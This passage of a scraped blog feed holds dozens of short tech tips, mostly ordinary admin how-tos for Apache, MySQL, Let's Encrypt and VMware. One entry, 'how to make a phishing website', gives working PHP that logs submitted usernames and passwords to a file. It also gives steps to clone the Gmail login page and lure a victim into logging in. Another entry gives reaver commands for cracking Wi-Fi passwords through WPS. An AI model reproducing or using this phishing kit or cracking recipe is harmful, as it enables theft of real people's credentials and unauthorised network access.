&amp;lt;/div&amp;gt;
&amp;lt;div id=&quot;ad2&quot;&amp;gt;
ad number 2
&amp;lt;/div&amp;gt;
&amp;lt;div id=&#039;box2&#039; class=&#039;clearfix&#039;&amp;gt;
&amp;lt;h1&amp;gt;big text for larger screen becomes small text for smaller screen&amp;lt;/h2&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;
&lt;br&gt;
&lt;pre&gt; #ad2 {
   display:none;
  }
@media only screen and (max-width: 480px) { 
h1 { 
font-size: 18px; 
} 
#ad1 { 
display:none; 
} 
#ad2 { 
display:inline; 
} 
}&lt;/pre&gt;
</content>
<published>2019-03-06T04:30:00+00:00</published>
<updated>2019-03-06T04:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/9'/>
<id>https://wirelessarmy.theproject1.com/9</id>
<author><name>admin</name></author>
</entry> <entry>
<title>create md5 hash with php</title> 
<content type='html'>&lt;p&gt;if you know php just copy past the code and use it because the fallowing lines will be the explanations of the code:&lt;br /&gt; a form with an input with type submit just grabs other inputs data and then use php script to process that data refresh the page and show the results.&lt;/p&gt;
&lt;p&gt;An action with &amp;lt;?php echo $_SERVER[&#039;REQUEST_URI&#039;]; ?&amp;gt; or or &amp;lt;?php echo $_SERVER[&#039;PHP_SELF&#039;]; ?&amp;gt;&amp;nbsp;an action=&amp;rdquo;&quot; just use the php in the same file.&lt;/p&gt;
&lt;pre&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;md5 hash&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form action=&quot;&amp;lt;?php echo $_SERVER[&#039;REQUEST_URI&#039;]; ?&amp;gt;&quot; method=&quot;post&quot;&amp;gt;
enter some text: &amp;lt;input type=&quot;text&quot; name=&quot;input1&quot; /&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;&amp;lt;input type=&quot;submit&quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;?php
//md5 generate script
$str = &quot;deafult hash&quot;;
if(isset($_POST[&#039;input1&#039;]))
{
$str = $_POST[&#039;input1&#039;];
}
echo &quot;&amp;lt;BR&amp;gt;&quot;;
$md5 = md5($str);
echo &quot;md5 hash of text is: &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;;
echo $md5;

?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;</content>
<published>2019-03-06T04:30:00+00:00</published>
<updated>2019-03-06T04:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/33'/>
<id>https://wirelessarmy.theproject1.com/33</id>
<author><name>admin</name></author>
</entry> <entry>
<title>msfweb error</title> 
<content type='html'>if you try to msfweb it will can give you an error so just do:&lt;br&gt;
&lt;pre&gt;cd /pentest/exploits/framework2/
./msfweb&lt;/pre&gt;</content>
<published>2019-03-06T04:30:00+00:00</published>
<updated>2019-03-06T04:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/101'/>
<id>https://wirelessarmy.theproject1.com/101</id>
<author><name>admin</name></author>
</entry> <entry>
<title>apache as which user?</title> 
<content type='html'>&lt;p&gt;to find out apache is running as which user you can run this command while apache is running&lt;/p&gt;
&lt;pre&gt;ps aux | grep apache&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt; usually it is www-data&lt;/p&gt;</content>
<published>2019-03-06T04:30:00+00:00</published>
<updated>2019-03-06T04:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/109'/>
<id>https://wirelessarmy.theproject1.com/109</id>
<author><name>admin</name></author>
</entry> <entry>
<title>5 things you need to know before using letsencrypt </title> 
<content type='html'>&lt;p&gt;In this scenario we will use Letsencrypt for apache. But you can use it as a standalone version or with nginx.&lt;br&gt;
first you need to download it in the first place:&lt;/p&gt;
&lt;pre&gt;git clone https://github.com/letsencrypt/letsencrypt /opt/letsencrypt&lt;/pre&gt;
&lt;p&gt;let&amp;rsquo;s encrypt has made security for websites so much easier but still there are few things that you might like to know when using it.&lt;/p&gt;
&lt;h3&gt;1 it doesn&#039;t work with more than one virtual host per file&lt;/h3&gt;
&lt;p&gt;all you have to do is cut and past the other virtual hosts in a new file and then&lt;/p&gt;
&lt;pre&gt;a2ensite one.example.com
a2ensite two.example.com
service apache2 reload&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;2 specify rsa key size&lt;/h3&gt;
&lt;p&gt;the default rsa key size for letsencrypt is 2048 but if you wish to change it you can do so with this option &lt;b&gt;--rsa-key-size 4096&lt;/b&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;3 setup automatic renewing with the following like&lt;/h3&gt;
&lt;pre&gt;--renew-by-default&lt;/pre&gt;
&lt;h3&gt;4 specify domains and subdomains&lt;/h3&gt;
&lt;p&gt;you can do so with -d but if you will only use example.com please add www.example.com also so you won&#039;t get any confusion by certification validators&lt;/p&gt;
&lt;h3&gt;5 update letsencrypt&lt;/h3&gt;
&lt;pre&gt;cd letsencypt
git pull&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;an example command:&lt;/p&gt;
&lt;pre&gt;./letsencrypt-auto --apache --rsa-key-size 4096 -d example.com -d www.example.com -d one.theproject1.com -d two.theproject1.com --renew-by-default&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;You can verify the status of your SSL certificate with the following link&lt;/p&gt;
&lt;p&gt;https://www.ssllabs.com/ssltest/analyze.html?d=example.com&amp;amp;latest&lt;/p&gt;
&lt;p&gt;also note that you can only generate 5 certifications per week and this tutorial help you avoid some mistakes so you wouldn&amp;rsquo;t need to use all 5 of them in 30 minutes because of simple errors.&lt;/p&gt;
</content>
<published>2019-03-06T04:30:00+00:00</published>
<updated>2019-03-06T04:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/174'/>
<id>https://wirelessarmy.theproject1.com/174</id>
<author><name>admin</name></author>
</entry> <entry>
<title> vmware virtual network backup</title> 
<content type='html'>&lt;p&gt;how to backup&amp;nbsp;vmware virtual network.&lt;/p&gt;
&lt;p&gt;Go to virtual network editor file location, open command prompt ad admin.&lt;/p&gt;
&lt;pre&gt;vnetlib64.exe -- export backup-file-name
vnetlib64.exe -- import backup-file-name&lt;/pre&gt;</content>
<published>2019-03-06T04:30:00+00:00</published>
<updated>2019-03-06T04:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/202'/>
<id>https://wirelessarmy.theproject1.com/202</id>
<author><name>admin</name></author>
</entry> <entry>
<title>how to make a phishing website</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/xabW4LJXmkw&quot; width=&quot;560&quot; height=&quot;315&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;we need to create 2 files. 1 is hack.php you can copy and past below and 1 empty file called phish.log&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
$ref = $_SERVER[&#039;HTTP_REFERER&#039;];
$today = date(&quot;F j, Y, g:i a&quot;);
if (isset($_POST[&#039;name&#039;]) &amp;amp;&amp;amp; !empty($_POST[&#039;name&#039;])) {
    $nam = stripslashes($_POST[&#039;name&#039;]);
    $pas = stripslashes($_POST[&#039;pass&#039;]);
    $nam = htmlspecialchars($nam, ENT_QUOTES);
    $pas = htmlspecialchars($pas, ENT_QUOTES);
    $content = $today . &quot;  --  &quot; . $ref . &quot;  --  &quot; . $nam . &quot;  --  &quot; . $pas;
    $filed = @fopen(&quot;phish.log&quot;, &quot;a+&quot;);
    @fwrite($filed, &quot;$content\n&quot;);
    @fclose($filed);
}
?&amp;gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
function goBack()
{
window.history.back()
}
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body onload=&quot;goBack()&quot;&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;
&lt;p&gt;how we can go to gmail.com and press control (command on mac) and s to save the page. &lt;br /&gt;now we can open the file.htm with notepad and find the &amp;lt;form and on the same line change the action to hack.php. &lt;br /&gt;Then you can find the inputes for email and password and change the name to name for the email input and pass for the password input. &lt;br /&gt;now all you need to do is to make sure that your victim opens that page and trys to login.&lt;/p&gt;</content>
<published>2019-03-06T04:29:00+00:00</published>
<updated>2019-03-06T04:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/35'/>
<id>https://wirelessarmy.theproject1.com/35</id>
<author><name>admin</name></author>
</entry> <entry>
<title>clear in python</title> 
<content type='html'>&lt;p&gt;how to cls or clear in python command line: first you now to tell what is clear to python&lt;/p&gt;
&lt;pre&gt;import os
clear = lambda: os.system(&#039;cls&#039;)&lt;/pre&gt;
&lt;p&gt;now you can&lt;/p&gt;
&lt;pre&gt;clear()&lt;/pre&gt;
&lt;p&gt;for clearing the command line&lt;/p&gt;
&lt;p&gt;OR&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os

def cls():
    os.system([&#039;clear&#039;,&#039;cls&#039;][os.name == &#039;nt&#039;])

cls()&lt;/code&gt;&lt;/pre&gt;</content>
<published>2019-03-06T04:29:00+00:00</published>
<updated>2019-03-06T04:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/50'/>
<id>https://wirelessarmy.theproject1.com/50</id>
<author><name>admin</name></author>
</entry> <entry>
<title>500 server error</title> 
<content type='html'>if you get error 500 internal server error buy installing or enable or disabling modules
but suddenly it works after few seconds, it&#039;s because your php memory is low.
you can fix it by adding this to your php.ini file:
&lt;pre&gt;memory_limit = 64M&lt;/pre&gt;
and/or add this to your site/default/settings.php file:
&lt;pre&gt;ini_set(&#039;memory_limit&#039;, &#039;64M&#039;);&lt;/pre&gt;</content>
<published>2019-03-06T04:29:00+00:00</published>
<updated>2019-03-06T04:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/55'/>
<id>https://wirelessarmy.theproject1.com/55</id>
<author><name>admin</name></author>
</entry> <entry>
<title>SSLEngine error</title> 
<content type='html'>if you add the text &#039;SSLEngine on&#039; to apache it may give you an error like this:&lt;br&gt;
&lt;pre&gt;service apache2 restart
Syntax error on line 75 of /etc/apache2/sites-enabled/000-default:
Invalid command &#039;SSLEngine&#039;, perhaps misspelled or defined by a module not included in the server configuration
Action &#039;configtest&#039; failed.
The Apache error log may have more information.
failed!&lt;/pre&gt;
to fix it you should enable the ssl and the restart the apache.
&lt;pre&gt;
a2enmod ssl
service apache2 restart&lt;/pre&gt;
</content>
<published>2019-03-06T04:29:00+00:00</published>
<updated>2019-03-06T04:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/111'/>
<id>https://wirelessarmy.theproject1.com/111</id>
<author><name>admin</name></author>
</entry> <entry>
<title>high dpi displays for linux</title> 
<content type='html'>&lt;p&gt;if everything looks super small on a gnome on a 4k display you can run the following command, if only somestuff gets bigger, you may want to restart to make sure everything gets to the right size&lt;/p&gt;
&lt;pre&gt;gsettings set org.gnome.desktop.interface scaling-factor 2&lt;/pre&gt;</content>
<published>2019-03-06T04:29:00+00:00</published>
<updated>2019-03-06T04:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/188'/>
<id>https://wirelessarmy.theproject1.com/188</id>
<author><name>admin</name></author>
</entry> <entry>
<title>VMware remote share problems and how to fix them</title> 
<content type='html'>&lt;p&gt;there are several errors you might get when using VMware&amp;nbsp;workstation to share a VMware.&lt;/p&gt;
&lt;p&gt;1) under edit &amp;gt;&amp;nbsp;preferences&amp;nbsp;&amp;gt; shared VMs select the directory and port you want to use.&lt;/p&gt;
&lt;p&gt;on the remote device use www.example.com:&lt;strong&gt;443&lt;/strong&gt;&amp;nbsp;to specify the port.&lt;/p&gt;
&lt;p&gt;2)you can use windows admin user to login or you can add other windows users under shared VMs right click &amp;gt; permissions&lt;/p&gt;
&lt;p&gt;3)&amp;nbsp;VMware unable to connect to the mks login incorrect&lt;/p&gt;
&lt;p&gt;make sure the &lt;strong&gt;authd.client.port&lt;/strong&gt; in&amp;nbsp;&lt;strong&gt;C:\ProgramData\VMware\VMware Workstation\config.ini&amp;nbsp;&lt;br /&gt;&lt;/strong&gt;is 902, or 903. change to see which one works.&lt;/p&gt;
&lt;p&gt;4) make sure your firewall is not blocking ports 902,903,and 443 (if you didn&#039;t change it in the settings)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>
<published>2019-03-06T04:29:00+00:00</published>
<updated>2019-03-06T04:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/216'/>
<id>https://wirelessarmy.theproject1.com/216</id>
<author><name>admin</name></author>
</entry> <entry>
<title>reset mysql password</title> 
<content type='html'>if you forgot your mysqlcpassword you can change still change it.
&lt;br&gt;first stop it.
&lt;pre&gt;service mysql stop&lt;/pre&gt;
the create a file called mysql-init
containing
&lt;pre&gt;UPDATE mysql.user SET Password=PASSWORD(&#039;MyNewPass&#039;) WHERE User=&#039;root&#039;;
FLUSH PRIVILEGES;&lt;/pre&gt;
then run this command:
&lt;pre&gt;
mysqld_safe --init-file=/home/me/mysql-init &amp;
&lt;/pre&gt;</content>
<published>2018-10-07T19:27:00+00:00</published>
<updated>2018-10-07T19:27:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/30'/>
<id>https://wirelessarmy.theproject1.com/30</id>
<author><name>admin</name></author>
</entry> <entry>
<title>mysql to json</title> 
<content type='html'>&lt;p&gt;with this script we will convert mysql data to json. one of many use cases may be if you want to offer an offline app that does the same thing as the online one.&lt;/p&gt;
&lt;p&gt;with pdo&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
//conection to mysql database
try {
  $dsn = &#039;mysql:host=localhost;dbname=test&#039;;
  $username = &#039;root&#039;;
  $password = &#039;pass&#039;;
  $options = array(
    PDO::MYSQL_ATTR_INIT_COMMAND =&amp;gt; &#039;SET NAMES utf8&#039;,
  ); 
  $dbh = new PDO($dsn, $username, $password, $options);
  $dbh-&amp;gt;setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
} catch(PDOException $e) {
    echo &#039;ERROR: &#039; . $e-&amp;gt;getMessage();
}
//convertion
foreach($dbh-&amp;gt;query(&quot;select * from aa&quot;) as $row) {
 $output[]=$row;
}
print(json_encode($output));
$dbh = null;
?&amp;gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt; and with normal sql query &lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
//conection to mysql database
mysql_connect(&quot;localhost&quot;,&quot;root&quot;,&quot;pass&quot;);
mysql_select_db(&quot;test&quot;);
//convertion
$sql=mysql_query(&quot;select * from aa&quot;);
while($row=mysql_fetch_assoc($sql)){
$output[]=$row;
}
print(json_encode($output));
mysql_close();
?&amp;gt;
&lt;/pre&gt;</content>
<published>2018-10-07T19:27:00+00:00</published>
<updated>2018-10-07T19:27:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/38'/>
<id>https://wirelessarmy.theproject1.com/38</id>
<author><name>admin</name></author>
</entry> <entry>
<title>phpmyadmin permission error</title> 
<content type='html'>if you get this error with phpmyadmin
phpMyAdmin - Error
Wrong permissions on configuration file, should not be world writable!
just go to your phpmyadmin folder and run this command
&lt;pre&gt;chmod 0755 config.inc.php&lt;/pre&gt;</content>
<published>2018-09-11T01:43:00+00:00</published>
<updated>2018-09-11T01:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/5'/>
<id>https://wirelessarmy.theproject1.com/5</id>
<author><name>admin</name></author>
</entry> <entry>
<title>use your browser as a text editor</title> 
<content type='html'>&lt;p&gt;if you use browser a lot, some time you even hate to go to a text editing programe to wite a note or &amp;hellip; so here is a way to solve it.&lt;br /&gt; one a new tab and past this line&lt;/p&gt;
&lt;pre&gt;data:text/html, &amp;lt;html contenteditable&amp;gt;&lt;/pre&gt;
&lt;p&gt;start typing! and when you are finished then press control + s to save the file. form now when ever that you open that file, it will lunch your browser.&lt;/p&gt;</content>
<published>2018-09-11T01:43:00+00:00</published>
<updated>2018-09-11T01:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/20'/>
<id>https://wirelessarmy.theproject1.com/20</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Force https joomla</title> 
<content type='html'>&lt;p&gt;how to force https for admin and anonymous on joomla:&lt;/p&gt;
&lt;p&gt;admin:&lt;/p&gt;
&lt;pre&gt;&#039;access_control&#039; =&amp;gt; array(
    array(
        &#039;path&#039;             =&amp;gt; &#039;^/secure&#039;,
        &#039;role&#039;             =&amp;gt; &#039;ROLE_ADMIN&#039;,
        &#039;requires_channel&#039; =&amp;gt; &#039;https&#039;,
    ),
),&lt;/pre&gt;
&lt;p&gt;anonymous&lt;/p&gt;
&lt;pre&gt;&#039;access_control&#039; =&amp;gt; array(
    array(
        &#039;path&#039;             =&amp;gt; &#039;^/login&#039;,
        &#039;role&#039;             =&amp;gt; &#039;IS_AUTHENTICATED_ANONYMOUSLY&#039;,
        &#039;requires_channel&#039; =&amp;gt; &#039;https&#039;,
    ),
),&lt;/pre&gt;</content>
<published>2018-09-11T01:43:00+00:00</published>
<updated>2018-09-11T01:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/34'/>
<id>https://wirelessarmy.theproject1.com/34</id>
<author><name>admin</name></author>
</entry> <entry>
<title>sleep timer</title> 
<content type='html'>&lt;p&gt;are you downloading/ installing something but you have to go?&lt;br&gt;
make you pc sleep for power saving just with this command:&lt;/p&gt;
&lt;pre&gt;echo &#039;pm-suspend&#039; | at now + 30 minutes&lt;/pre&gt;
&lt;p&gt;(you can put any minute that you want no just 30)&lt;/p&gt;
</content>
<published>2018-09-11T01:43:00+00:00</published>
<updated>2018-09-11T01:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/123'/>
<id>https://wirelessarmy.theproject1.com/123</id>
<author><name>admin</name></author>
</entry> <entry>
<title>View open ports</title> 
<content type='html'>&lt;p&gt;view open ports&lt;/p&gt;
&lt;pre&gt;netstat -a&lt;/pre&gt;
&lt;p&gt;or for specify &lt;/p&gt;
&lt;pre&gt;netstat - |grep 80&lt;/pre&gt;</content>
<published>2018-09-11T01:43:00+00:00</published>
<updated>2018-09-11T01:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/126'/>
<id>https://wirelessarmy.theproject1.com/126</id>
<author><name>admin</name></author>
</entry> <entry>
<title>wireshark no interface</title> 
<content type='html'>&lt;p&gt;some times it can be&amp;nbsp;possible&amp;nbsp;that when you run wireshark on windows i can’t find any interface. It’s because winpcap is not&amp;nbsp;running. If it’s not installed just google winpcap or if it’s installed run this command to view the&amp;nbsp;correct&amp;nbsp;status.&lt;/p&gt;
&lt;pre&gt;sc qc npf
&lt;/pre&gt;
&lt;p&gt;this one to start it &lt;/p&gt;
&lt;pre&gt;sc start npf&lt;/pre&gt;
&lt;p&gt;and this one to make it start on start up &lt;/p&gt;
&lt;pre&gt;sc config npf start=auto&lt;/pre&gt;</content>
<published>2018-09-11T01:43:00+00:00</published>
<updated>2018-09-11T01:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/130'/>
<id>https://wirelessarmy.theproject1.com/130</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Deleting error with fat32</title> 
<content type='html'>some times there are problems when you want to delete a folder on windows and it ask you to skip the file or folder. I can be because the path is too long so what you want to do is to rename some of folders or files and instead of:
c://users/me/folder/auvbfaerpcknajubsivnuperiacvnapeiruc/grbvd/evdnuaeric/eavb
rename it to:
c://users/me/folder/a/b/c/d
this problem my acure usualy with fat32/fat usb drives.</content>
<published>2018-09-11T01:43:00+00:00</published>
<updated>2018-09-11T01:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/137'/>
<id>https://wirelessarmy.theproject1.com/137</id>
<author><name>admin</name></author>
</entry> <entry>
<title>zcash mining on windows</title> 
<content type='html'>&lt;p&gt;you can download the zcash claymore miner for here:&lt;/p&gt;
&lt;p&gt;Gdrive: https://drive.google.com/drive/folders/0B69wv2iqszefdmJickl5MF9BOEE?usp=sharing&lt;br /&gt;megaupload: https://mega.nz/#F!P0ZjFDjC!Cmb-ZRqlbAnNrajRtp4zvA&lt;/p&gt;
&lt;p&gt;then edit config.txt&lt;/p&gt;
&lt;pre&gt;-zpool eu1-zcash.flypool.org:3333&lt;br /&gt;-zwal&amp;nbsp;your t adress&lt;br /&gt;-zpsw z&lt;br /&gt;-tt 75&lt;br /&gt;-i 6&lt;/pre&gt;</content>
<published>2018-09-11T01:43:00+00:00</published>
<updated>2018-09-11T01:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/222'/>
<id>https://wirelessarmy.theproject1.com/222</id>
<author><name>admin</name></author>
</entry> <entry>
<title>speed up you site with htaccess</title> 
<content type='html'>&lt;p&gt;if you have a apache webserver and your site is heavy you can compress it a bit.&lt;/p&gt;
by adding the next line it your .htaccess file it will compress your images and html and javascript for delivery so it will speed up your site.
&lt;pre&gt;
&amp;lt;ifmodule mod_deflate.c&amp;gt;
AddOutputFilterByType DEFLATE text/text text/html text/plain text/xml text/css application/x-javascript application/javascript text/javascript application/rss+xml application/xhtml+xml text/plain image/png image/jpeg
&amp;lt;/ifmodule&amp;gt;
&lt;/pre&gt;</content>
<published>2018-08-25T00:57:00+00:00</published>
<updated>2018-08-25T00:57:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/11'/>
<id>https://wirelessarmy.theproject1.com/11</id>
<author><name>admin</name></author>
</entry> <entry>
<title> latest version of PHP 5.6 on Debian</title> 
<content type='html'>&lt;p&gt;add the fallowing lines to &amp;nbsp;/etc/apt/sources.list&lt;/p&gt;
&lt;pre&gt;deb http://packages.dotdeb.org wheezy-php56 all
deb-src http://packages.dotdeb.org wheezy-php56 all&lt;/pre&gt;
&lt;p&gt;then&lt;/p&gt;
&lt;pre&gt;wget http://www.dotdeb.org/dotdeb.gpg
wget http://www.dotdeb.org/dotdeb.gpg
sudo apt-get update
sudo apt-get install php5&lt;/pre&gt;
&lt;p&gt;or if you have it already installed:&lt;/p&gt;
&lt;pre&gt;apt-get dist-upgrade
sudo service apache2 restart&lt;/pre&gt;</content>
<published>2018-08-23T03:09:00+00:00</published>
<updated>2018-08-23T03:09:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/162'/>
<id>https://wirelessarmy.theproject1.com/162</id>
<author><name>admin</name></author>
</entry> <entry>
<title>connect wifi pineapple to a switch</title> 
<content type='html'>&lt;p&gt;how to connect your wifi pine apple to a normal switch or modem.&lt;/p&gt;
&lt;p&gt;connect the an Ethernet port from you switch or modem … &amp;nbsp;to the wifi pineapple wan port.&lt;/p&gt;
&lt;p&gt;ssh to your wifi pineapple and save the fallowing command as watever.sh&lt;/p&gt;
&lt;pre&gt;#!/bin/bash
IP=$(/sbin/ifconfig eth1| grep &#039;inet addr:&#039;| cut -d: -f2|awk &#039;{print $1}&#039;)
MASK=${IP%.*}.0
echo &#039;1&#039; &amp;gt; /proc/sys/net/ipv4/ip_forward

iptables -I FORWARD -s $MASK/255.255.255.0 -j DROP
iptables -A FORWARD -i eth1 -o wlan0 -s $MASK/24 -m state --state NEW -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A POSTROUTING -t nat -j MASQUERADE&lt;/pre&gt;
&lt;p&gt;now give it permission to execute. (chmod 755 or chmod +x)&lt;/p&gt;
&lt;p&gt;run it ./wan.sh&lt;/p&gt;
&lt;p&gt;on the status page by clicking on reveal the public ip. you can make sure that you are connected. (or just ping google.com)&lt;/p&gt;
</content>
<published>2018-08-23T03:03:00+00:00</published>
<updated>2018-08-23T03:03:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/98'/>
<id>https://wirelessarmy.theproject1.com/98</id>
<author><name>admin</name></author>
</entry> <entry>
<title>chrome tips</title> 
<content type='html'>&lt;p&gt;here are some stuff that you didn’t know about chrome.&lt;/p&gt;
&lt;p&gt;if you type this in the url bar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;line-height: 15px;&quot;&gt;&lt;a href=&quot;chrome://chrome-urls/&quot;&gt;chrome://chrome-urls/&lt;/a&gt;&amp;nbsp;you will see a list of usefull urls&lt;br&gt;
&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://version/&quot;&gt;chrome://version/&lt;/a&gt;&amp;nbsp;you will see list of version like os, webkit, flash, user agent…&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://cache/&quot;&gt;chrome://cache/&lt;/a&gt;&amp;nbsp;to view your cache&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://bookmarks/&quot;&gt;chrome://bookmarks/&lt;/a&gt;&amp;nbsp;to view your bookmarks&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://conflicts/&quot;&gt;chrome://conflicts/&lt;/a&gt;&amp;nbsp;to view modules that are loaded with chrome (you will be surprised )&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://flags/&quot;&gt;chrome://flags/&lt;/a&gt;&amp;nbsp;experimental features (warning)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://gpu/&quot;&gt;chrome://gpu/&lt;/a&gt;&amp;nbsp;info if webGL or flash are using gpu&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://memory-redirect/&quot;&gt;chrome://memory-redirect/&lt;/a&gt;&amp;nbsp;usage of ram&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://net-internals/&quot;&gt;chrome://net-internals/&lt;/a&gt;&amp;nbsp;info about bandwidth SPIs, DNS and …&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://omnibox/&quot;&gt;chrome://omnibox/&lt;/a&gt;&amp;nbsp;what google will suggest you based on search and histpry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;chrome://predictors/&quot;&gt;chrome://predictors/&lt;/a&gt;&amp;nbsp;the complicit url data&lt;/li&gt;
&lt;/ul&gt;
</content>
<published>2018-08-23T02:58:00+00:00</published>
<updated>2018-08-23T02:58:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/16'/>
<id>https://wirelessarmy.theproject1.com/16</id>
<author><name>admin</name></author>
</entry> <entry>
<title>reaver, wps vulnerability</title> 
<content type='html'>&lt;p&gt;using reaver to find wifi password with less time required.(the wifi should have a wps vulnerability)&lt;/p&gt;
&lt;pre&gt;airmon-ng start wlan0&lt;/pre&gt;
&lt;p&gt;to find out if the wifi is vulnerable or not. Also to get the bssid and the channel&lt;/p&gt;
&lt;pre&gt;wash -i mon0 -C&lt;/pre&gt;
&lt;p&gt;the command needed to find the password&lt;/p&gt;
&lt;pre&gt;reaver -i mon0 -b (the bssid) -c (the channel) -S -L&lt;/pre&gt;</content>
<published>2018-03-23T15:36:00+00:00</published>
<updated>2018-03-23T15:36:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/76'/>
<id>https://wirelessarmy.theproject1.com/76</id>
<author><name>admin</name></author>
</entry> <entry>
<title>apache2-ssl-certificate: command not found</title> 
<content type='html'>if after running apache2-ssl-certificate you get:
-bash: apache2-ssl-certificate: command not found

you can run this instead and it will do the same job for you:
&lt;pre&gt;sudo apt-get install ssl-cert
sudo mkdir /etc/apache2/ssl
sudo /usr/sbin/make-ssl-cert /usr/share/ssl-cert/ssleay.cnf /etc/apache2/ssl/apache.pem&lt;/pre&gt;</content>
<published>2018-03-15T01:30:00+00:00</published>
<updated>2018-03-15T01:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/60'/>
<id>https://wirelessarmy.theproject1.com/60</id>
<author><name>admin</name></author>
</entry> <entry>
<title>VPN grayed out problem</title> 
<content type='html'>to fix VPN grayed out problem and enable VPN on Kali Linux all you need to do is run the fallowing command:
&lt;pre&gt;aptitude -r install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome&lt;/pre&gt;

In total, you got 4 supported VPN Connections types on Kali Linux:
&lt;ol&gt;
&lt;li&gt;Cisco Compatible (vpnc)&lt;/li&gt;
&lt;li&gt;IPsec/IKEv2 (strongswan)&lt;/li&gt;
&lt;li&gt;OpenVPN&lt;/li&gt;
&lt;li&gt;Point-to-point Tunneling Protocol (PPTP)&lt;/li&gt;
&lt;/ol&gt;</content>
<published>2018-03-05T02:00:00+00:00</published>
<updated>2018-03-05T02:00:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/147'/>
<id>https://wirelessarmy.theproject1.com/147</id>
<author><name>admin</name></author>
